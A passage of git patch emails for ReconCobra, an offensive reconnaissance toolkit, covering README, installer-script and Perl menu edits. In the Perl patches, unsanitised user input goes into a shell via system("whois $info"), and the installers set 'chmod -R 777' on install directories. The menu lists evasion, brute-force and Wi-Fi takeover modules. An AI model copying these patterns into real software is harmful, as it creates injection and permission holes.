@@ -143,6 +139,9 @@ ReconCobra is false positive free, when there is something it will show no matte - Dependencies will be handled automatically - Third party software(s)/dependencies/modules will be handled automatically +# API(s) +- Get your own API and Secret Key from censys.io for censys python module + # Developer - Haroon Awan - mrharoonawan@gmail.com From 777ac5ae6a79753ebdd3bacc1ca36d176b31ce8d Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sat, 21 Dec 2019 14:29:40 -0500 Subject: [PATCH 260/272] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 1a78fef..f543138 100644 --- a/README.md +++ b/README.md @@ -140,7 +140,8 @@ ReconCobra is false positive free, when there is something it will show no matte - Third party software(s)/dependencies/modules will be handled automatically # API(s) -- Get your own API and Secret Key from censys.io for censys python module +- Get your own API and Secret Key from censys.io for python module - named censys.py +- Get your own API Keys from securitytrails.com for python module - named vasl/vasl.py # Developer - Haroon Awan From 903dc7cc23d3df01af454d8b3c72f00f4e15a806 Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sat, 21 Dec 2019 14:30:37 -0500 Subject: [PATCH 261/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 7d66f3b..9297a56 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3318,8 +3318,8 @@ () #65 Find Subdomains using API Searcher # #--------------------------------------------------------------# sub Apisubdomain() { - print item(),"1 - Censys API Search\n"; - print item(),"2 - Security Trails API Search\n"; + print item(),"1 - Security Trails API Search\n"; + print item(),"2 - Censys API Search\n"; print item(),"3 - Virustotal API Search\n"; print item(),"Enter API Search Engine: "; chomp($enter=); From ec73f57894583642078d1084a3ce7389f89cbc06 Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 06:22:12 -0500 Subject: [PATCH 262/272] Update Kali_Installer.sh --- Kali_Installer.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Kali_Installer.sh b/Kali_Installer.sh index b343ffe..8580031 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -165,6 +165,8 @@ cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra cp *.sh /usr/share/ReconCobra +chmod -R 777 /usr/share/ReconCobra +chmod -R 777 ./ cat traceroute-function >> ~/.bashrc source ~/.bashrc From 42f1d3b18d3f07409dea6dec08748b2974c65f31 Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 06:23:19 -0500 Subject: [PATCH 263/272] Update ParrotOS_Installer.sh --- ParrotOS_Installer.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index 9c57631..f89aa13 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -159,6 +159,8 @@ cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra cp *.sh /usr/share/ReconCobra +chmod -R 777 /usr/share/ReconCobra +chmod -R 777 ./ cat traceroute-function >> ~/.bashrc source ~/.bashrc From 452684bcbb7d8f01966f600c936c6fb918c7ee9c Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 06:25:17 -0500 Subject: [PATCH 264/272] Update ParrotOS_Installer.sh --- ParrotOS_Installer.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index f89aa13..bfa487b 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -121,6 +121,9 @@ cd CORScanner pip install -r requirements.txt cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/m4ll0k/Infoga.git +cd infoga +python2 setup.py install echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git From 1f9bd8acfda32ffbc869133435a7e86c3a32b802 Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 13:54:26 -0500 Subject: [PATCH 265/272] Update ReconCobra.pl --- ReconCobra.pl | 124 +++----------------------------------------------- 1 file changed, 6 insertions(+), 118 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 9297a56..c104d37 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1586,124 +1586,12 @@ sub menu { #1 Website information # #--------------------------------------------------------------# sub Websiteinformation { - $url = "https://myip.ms/$info"; - $request = $ua->get($url); - $response = $request->content; - - if($response =~/> (.*?) visitors per day (.*?) visitors per day on (.*?)/) - { - $ipv6_address=$1; - print item(),"Linked IPv6 Address: $ipv6_address\n"; - } - if($response =~/IP Location: <\/td> <\/span>(.*?)<\/a>/) - { - $Location=$1; - print item(),"IP Location: $Location\n"; - } - if($response =~/IP Reverse DNS (.*?)<\/b><\/div>
(.*?)<\/div>/) - { - $host=$2; - print item(),"IP Reverse DNS (Host): $host\n"; - } - if($response =~/Hosting Company: <\/td> <\/span> (.*?)<\/a>/) - { - $ownerip=$3; - print item(),"Hosting Company IP Owner: $ownerip\n"; - } - if($response =~/Hosting Company \/ IP Owner: <\/td> (.*?) - (.*?)<\/b>
have (.*?)<\/b>/) - { - print item(),"Hosting IP Range: $1 - $2 ($3 ip) \n"; - } - if($response =~/Hosting Address: <\/td>(.*?)<\/td><\/tr>/) - { - $address=$1; - print item(),"Hosting Address: $address\n"; - } - if($response =~/Owner Address: <\/td>(.*?)<\/td>/) - { - $addressowner=$1; - print item(),"Owner Address: $addressowner\n"; - } - if($response =~/Hosting Country: <\/td><\/span>
(.*?)<\/a>/) - { - $HostingCountry=$1; - print item(),"Hosting Country: $HostingCountry\n"; - } - if($response =~/Owner Country: <\/td><\/span>(.*?)<\/a>/) - { - $OwnerCountry=$1; - print item(),"Owner Country: $OwnerCountry\n"; - } - if($response =~/Hosting Phone: <\/td>(.*?)<\/td><\/tr>/) - { - $phone=$1; - print item(),"Hosting Phone: $phone\n"; - } - if($response =~/Owner Phone: <\/td>(.*?)<\/td><\/tr>/) - { - $Ownerphone=$1; - print item(),"Owner Phone: $Ownerphone\n"; - } - if($response =~/Hosting Website: <\/td>(.*?)<\/a><\/td>/) - { - $website=$1; - print item(),"Hosting Website: $website\n"; - } - if($response =~/Owner Website: <\/td>(.*?)<\/a>/) - { - $Ownerwebsite=$3; - print item(),"Owner Website: $Ownerwebsite\n"; - } - if($response =~/CIDR:<\/td> (.*?)<\/td><\/tr>/) - { - $CIDR=$1; - print item(),"CIDR: $CIDR\n"; - } - if($response =~/Owner CIDR: <\/td>(.*?)<\/a>\/(.*?)<\/span><\/td><\/tr>/) - { - print item(),"Owner CIDR: $3/$4\n\n"; - } - if($response =~/Hosting CIDR: <\/td>(.*?)<\/a>\/(.*?)<\/span><\/td><\/tr>/) - { - print item(),"Hosting CIDR: $3/$4\n\n"; - } - $url = "https://dns-api.org/NS/$info"; - $request = $ua->get($url); - $response = $request->content; - }else { - print item(),"Something Went Wrong\n\n"; - print item('Note'),"Enter Website Without HTTP/HTTPs\n"; - } - my %seen; - while($response =~m/"value": "(.*?)."/g) - { - $ns=$1; - next if $seen{$ns}++; - print item(),"NS: $ns \n"; - } +if (system("whois $info") == 0) { + print "Success!\n"; + } + else { + print "[~] Did you forget to upgrade ReconCobra? \n[~] Command failed\n"; + } } #--------------------------------------------------------------# From 01ed4c98bebfe22bcfde389eacabf8561c3886e0 Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 13:55:27 -0500 Subject: [PATCH 266/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 124 +++----------------------------------------- 1 file changed, 6 insertions(+), 118 deletions(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 2703aa0..b959b4d 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -1586,124 +1586,12 @@ sub menu { #1 Website information # #--------------------------------------------------------------# sub Websiteinformation { - $url = "https://myip.ms/$info"; - $request = $ua->get($url); - $response = $request->content; - - if($response =~/> (.*?) visitors per day (.*?) visitors per day on (.*?)/) - { - $ipv6_address=$1; - print item(),"Linked IPv6 Address: $ipv6_address\n"; - } - if($response =~/IP Location: <\/td> <\/span>(.*?)<\/a>/) - { - $Location=$1; - print item(),"IP Location: $Location\n"; - } - if($response =~/IP Reverse DNS (.*?)<\/b><\/div>
(.*?)<\/div>/) - { - $host=$2; - print item(),"IP Reverse DNS (Host): $host\n"; - } - if($response =~/Hosting Company: <\/td> <\/span> (.*?)<\/a>/) - { - $ownerip=$3; - print item(),"Hosting Company IP Owner: $ownerip\n"; - } - if($response =~/Hosting Company \/ IP Owner: <\/td> (.*?) - (.*?)<\/b>
have (.*?)<\/b>/) - { - print item(),"Hosting IP Range: $1 - $2 ($3 ip) \n"; - } - if($response =~/Hosting Address: <\/td>(.*?)<\/td><\/tr>/) - { - $address=$1; - print item(),"Hosting Address: $address\n"; - } - if($response =~/Owner Address: <\/td>(.*?)<\/td>/) - { - $addressowner=$1; - print item(),"Owner Address: $addressowner\n"; - } - if($response =~/Hosting Country: <\/td><\/span>
(.*?)<\/a>/) - { - $HostingCountry=$1; - print item(),"Hosting Country: $HostingCountry\n"; - } - if($response =~/Owner Country: <\/td><\/span>(.*?)<\/a>/) - { - $OwnerCountry=$1; - print item(),"Owner Country: $OwnerCountry\n"; - } - if($response =~/Hosting Phone: <\/td>(.*?)<\/td><\/tr>/) - { - $phone=$1; - print item(),"Hosting Phone: $phone\n"; - } - if($response =~/Owner Phone: <\/td>(.*?)<\/td><\/tr>/) - { - $Ownerphone=$1; - print item(),"Owner Phone: $Ownerphone\n"; - } - if($response =~/Hosting Website: <\/td>(.*?)<\/a><\/td>/) - { - $website=$1; - print item(),"Hosting Website: $website\n"; - } - if($response =~/Owner Website: <\/td>(.*?)<\/a>/) - { - $Ownerwebsite=$3; - print item(),"Owner Website: $Ownerwebsite\n"; - } - if($response =~/CIDR:<\/td> (.*?)<\/td><\/tr>/) - { - $CIDR=$1; - print item(),"CIDR: $CIDR\n"; - } - if($response =~/Owner CIDR: <\/td>(.*?)<\/a>\/(.*?)<\/span><\/td><\/tr>/) - { - print item(),"Owner CIDR: $3/$4\n\n"; - } - if($response =~/Hosting CIDR: <\/td>(.*?)<\/a>\/(.*?)<\/span><\/td><\/tr>/) - { - print item(),"Hosting CIDR: $3/$4\n\n"; - } - $url = "https://dns-api.org/NS/$info"; - $request = $ua->get($url); - $response = $request->content; - }else { - print item(),"Something Went Wrong\n\n"; - print item('Note'),"Enter Website Without HTTP/HTTPs\n"; - } - my %seen; - while($response =~m/"value": "(.*?)."/g) - { - $ns=$1; - next if $seen{$ns}++; - print item(),"NS: $ns \n"; - } +if (system("whois $info") == 0) { + print "Success!\n"; + } + else { + print "[~] Did you forget to upgrade ReconCobra? \n[~] Command failed\n"; + } } #--------------------------------------------------------------# From 744407925bb6c8b06add88ababf0c02d02b042bf Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 13:56:24 -0500 Subject: [PATCH 267/272] Update ParrotOS_Installer.sh --- ParrotOS_Installer.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index bfa487b..3c368de 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -107,6 +107,7 @@ echo "y" | apt-get install curl echo "y" | apt-get install nfs-common echo "y" | apt-get install smbclient echo "y" | apt-get install gem +gem install whois gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/xroche/httrack.git --recurse From 7b56bedb69f621bb08d06548c3e72126e7f5a71c Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 13:56:35 -0500 Subject: [PATCH 268/272] Update Kali_Installer.sh --- Kali_Installer.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/Kali_Installer.sh b/Kali_Installer.sh index 8580031..dc41987 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -105,6 +105,7 @@ echo "y" | apt-get install curl echo "y" | apt-get install nfs-common echo "y" | apt-get install smbclient echo "y" | apt-get install gem +gem install whois gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/xroche/httrack.git --recurse From bc0273bd4fbcccb68a814a9ded8895fc99264b4b Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 14:21:31 -0500 Subject: [PATCH 269/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 213 +++++++++++++++++++++++--------------------- 1 file changed, 111 insertions(+), 102 deletions(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index b959b4d..9a98036 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -733,130 +733,129 @@ sub help { #--------------------------------------------------------------# sub banner { if ($^O =~ /MSWin32/) {system("mode con: cols=130 lines=40");system("cls"); }else { system("resize -s 40 130");system("clear"); } - print color('bold green on_black'); -print" ▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████#\n"; -print" ███####███#███####███###███####███###███####███###███####███#\n"; -print" ███####█▀##███####███###███####███###███####███###███####███#\n"; -print" ███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███#\n"; -print" ███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████#\n"; -print" ███####█▄##███####███###███####██▄#▀███████████###███####███#\n"; -print" ███####███#███####███###███####███###███####███###███####███#\n"; -print" ████████▀###▀██████▀##▄█████████▀####███####███###███####█▀##\n"; -print" #####################################███####███##############\n"; +print"▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████\n"; +print"███####███#███####███###███####███###███####███###███####███\n"; +print"███####█▀##███####███###███####███###███####███###███####███\n"; +print"███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███\n"; +print"███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████\n"; +print"███####█▄##███####███###███####██▄#▀███████████###███####███\n"; +print"███####███#███####███###███####███###███####███###███####███\n"; +print"████████▀###▀██████▀##▄█████████▀####███####███###███####█▀\n"; +print"#####################################███####███############\n"; print color('reset'); -print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; +print color('bold red on_black'),"Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; print color('reset'); -print color('bold white on_bright_red')," Mail ";print color('reset'),"";print color('bright_blue')," mrharoonawan\@gmail.com\n"; +print color('bold white on_bright_red'),"Mail ";print color('reset'),"";print color('bright_blue')," mrharoonawan\@gmail.com\n"; print color('reset'); -print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; +print color('bold red on_blue'),"Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; print color('reset'); -print color('bold yellow on_red')," Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; +print color('bold yellow on_red'),"Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; print color('reset'); -print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com/officialharoonawan\n"; +print color('bold green on_black'),"Facebook ";print color('reset'),"";print color('bold green')," fb.com/officialharoonawan\n"; print color('reset'); -print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; +print color('bold white on_blue'),"Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; print color('reset'); -print color('bold cyan'),"\n #---------------------------------------------------------# \n"; -print color('bold cyan')," # ";print color('bold magenta')," Ultimate Reconnaissance for Information Gathering "; print color('bold cyan')," # \n"; -print color('bold cyan')," #---------------------------------------------------------# \n"; +print color('bold cyan'),"\n #---------------------------------------------------------# \n"; +print color('bold cyan')," # ";print color('bold magenta')," Ultimate Reconnaissance for Information Gathering "; print color('bold cyan')," # \n"; +print color('bold cyan')," #---------------------------------------------------------# \n"; } #--------------------------------------------------------------# # Menu # #--------------------------------------------------------------# sub menu { - print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('4'),"Recommended Port Scan";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('8'),"Reverse IP Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('9'),"Forward IP Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('10'),"Reverse DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('11'),"Forward DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('12'),"Shared DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('13'),"Technology lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('14'),"Website Recon";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('15'),"Metadata Crawler";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('16'),"Metadata Googler";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('17'),"Subdomain Scanner using Search Engines";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('18'),"Subdomain Takeover Scanner using file";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('19'),"Brute Subdomains using nmap";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('20'),"Brute DNS Subdomains";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('21'),"Find Configuration Errors on Target using google";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('22'),"Find ASN";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('23'),"Find Netblocks";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('24'),"Capture Screenshots";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('25'),"Find Nearest Servers to Victim";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('26'),"Sweep Netblocks & Resolve";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('27'),"Load DNS Hacking Suite Panthera";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('28'),"Find Emails and Names";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('29'),"Find Contact Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('30'),"Common Nmap Port Scan";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('31'),"Ping Hop and Firewalk";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('32'),"Find Internal Networks & Sweep";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('33'),"Decoy Scan & Generate Metasploit Data";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('34'),"Find SSL Bugs & Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('35'),"Extract Users via FTP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('36'),"Extract Users via POP3";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('37'),"Extract Users via IMAP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('38'),"Extract Users via SMTP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('39'),"Extract Users via Form";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('40'),"Extract Full Possible Information via SNMP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('41'),"Extract Possible Information from Certificates";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('42'),"Find Victim HTTPS Leaked Data ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('43'),"Find Users via sitemap";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('44'),"Find Directories from robots.txt";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('45'),"Find all accounts by user";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('46'),"Find all accounts by email";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('47'),"Find all tags by account";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('51'),"Hostname to IP Resolver using Search Engines";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('55'),"Win - Contact & Extract Null Shares IPC\$";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('56'),"Win - Gather Full Information via Netbios";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('57'),"Win - Connect to Open Netbios";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('58'),"Invisible Port Scanner";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('59'),"Bypass Cloud Flare";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('60'),"DNS Cached Records";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('61'),"Bypass Content Management System Waf Firewall";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('62'),"Shared NS";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('63'),"Master Domain Subdomain Subnet Scanner";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('73'),"Brute Forcer Module";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('74'),"Databases and Connections Port Scan using Mascan";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('75'),"Set Daisy Chain";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('76'),"Search PHPinfo and Database Log via Search Engines";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('77'),"Load Encrypt/Decrypt Module ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('78'),"Load Encryption Scrambling for Antivirus Evasion";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('82'),"Tracert Visual Machine Mapper ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('4'),"Recommended Port Scan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('8'),"Reverse IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('9'),"Forward IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('10'),"Reverse DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('11'),"Forward DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('12'),"Shared DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('13'),"Technology lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('14'),"Website Recon";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('15'),"Metadata Crawler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('16'),"Metadata Googler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('17'),"Subdomain Scanner using Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('18'),"Subdomain Takeover Scanner using file";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('19'),"Brute Subdomains using nmap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('20'),"Brute DNS Subdomains";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('21'),"Find Configuration Errors on Target using google";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('22'),"Find ASN";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('23'),"Find Netblocks";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('24'),"Capture Screenshots";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('25'),"Find Nearest Servers to Victim";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('26'),"Sweep Netblocks & Resolve";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('27'),"Load DNS Hacking Suite Panthera";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('28'),"Find Emails and Names";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('29'),"Find Contact Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('30'),"Common Nmap Port Scan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('31'),"Ping Hop and Firewalk";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('32'),"Find Internal Networks & Sweep";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('33'),"Decoy Scan & Generate Metasploit Data";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('34'),"Find SSL Bugs & Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('35'),"Extract Users via FTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('36'),"Extract Users via POP3";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('37'),"Extract Users via IMAP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('38'),"Extract Users via SMTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('39'),"Extract Users via Form";print color('bold cyan')," # \n"; + print 